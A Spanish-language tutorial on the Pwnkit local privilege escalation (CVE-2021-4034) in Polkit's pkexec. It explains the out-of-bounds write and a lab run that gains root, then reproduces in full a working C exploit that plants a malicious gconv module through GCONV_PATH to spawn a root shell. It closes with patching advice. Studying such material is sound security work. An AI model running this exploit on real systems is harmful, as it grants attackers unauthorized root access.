
Vulnerabilidad de escalada de privilegios local (LPE) en Polkit - Pwnkit
Descubierta en 2021 pero anunciada y divulgada en enero de 2022, CVE-2021-4034 fue afectuosamente llamada Pwnkit, sin embargo, está disponible en todas las versiones del Policy Toolkit - Paquete Polkit en prácticamente todos los sistemas operativos - distribuciones Linux. En resumen, esta vulnerabilidad permite a cualquier atacante sin privilegios elevar verticalmente su acceso a administrador del sistema.
[!IMPORTANT] Podemos encontrar esta vulnerabilidad en pkexec versión 0.105 o anterior.
Aunque es un CVE altamente crítico, clasificado con una puntuación CVSS de 7.8 puntos según NIST.GOV, solo se explota localmente, es decir, no es posible explotarlo de forma remota (acceso web).
Polkit actúa como un sistema de autorización de Linux. Cuando tienes un usuario con pocos privilegios y necesita realizar alguna tarea que requiere altos privilegios (admin, por ejemplo), polkit verifica si tu usuario tiene el permiso requerido.
Por ejemplo, con el utilitario PKexec, podemos llamar a la función polkit, que verifica el permiso y solicita la contraseña si no lo tiene. Como en el siguiente ejemplo;
Como se mostró anteriormente, la vulnerabilidad Pwnkit existe en PKexec (en el proceso de verificación de permisos). Para esta vulnerabilidad, no hay seguridad en el manejo de parámetros cuando se ejecuta PKexec por línea de comandos (CLI), donde permite al invasor manipular el entorno y se produce un fallo llamado "Escritura fuera de los límites (Out-of-Bounds Write)".
PKexec intenta analizar cualquier argumento de línea de comandos que le pasemos utilizando un bucle for, comenzando en un índice de 1 para desplazar el nombre del programa y obtener el primer argumento real. El nombre del programa es irrelevante para el análisis de argumentos, por lo que el índice simplemente se desplaza para ignorarlo.
Entonces, si no definimos ningún argumento, el índice se define automáticamente en 1.
Vamos a crear un ejemplo a continuación.
for(n=1; n < number_of_arguments; n++){
}
Si el número de argumentos es 0, entonces 'N' nunca es menor que el número de argumentos. Por lo tanto, 'N' permanece igual a 1 y el bucle se omite por completo, el bucle no ocurrirá.
Como no hay argumentos de línea de comandos, no hay ningún argumento en el índice n; en su lugar, el programa sobrescribe lo siguiente en la memoria, que resulta ser el primer valor en la lista de variables de entorno cuando el programa se llama usando una función de C llamada execve(). En otras palabras, al pasarle a PKexec una lista nula de argumentos, podemos forzarlo a sobrescribir una variable de entorno.
Hay varias formas y varios scripts en internet que explotan fácilmente esta vulnerabilidad. Para ahorrar tiempo, usaremos un script creado en C que explota esta vulnerabilidad del repositorio de nuestro amigo Arthepsy.
Este script explora la variable GCONV_PATH para incluir un objeto compartido que llama a /bin/sh como root.
Arthepsy - CVE-2021-4034 - exploit.c
Antes de ejecutar el script, verificaremos nuestro acceso al host vulnerable.
Tenemos un usuario 1000 (no root) y no podemos realizar funciones de administrador específicas, como Useradd.
Obtuvimos acceso al usuario root y logramos ejecutar algunas funciones como Useradd (el error se refiere a otro problema, pero pudimos realizar el proceso como root).
Hecho ✔️
Para concluir esta exploración, podemos echar un vistazo rápido al script de explotación a continuación;
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
Básicamente explota los argumentos de PKexec comentados anteriormente y reescribe la variable de entorno GCONV_PATH con /bin/sh y establece stuid(0) (root).
Ya hay versiones corregidas disponibles en el propio paquete del SO. Ejecutando solo los comandos sudo apt update && sudo apt upgrade, ya es posible corregir este problema en su sistema.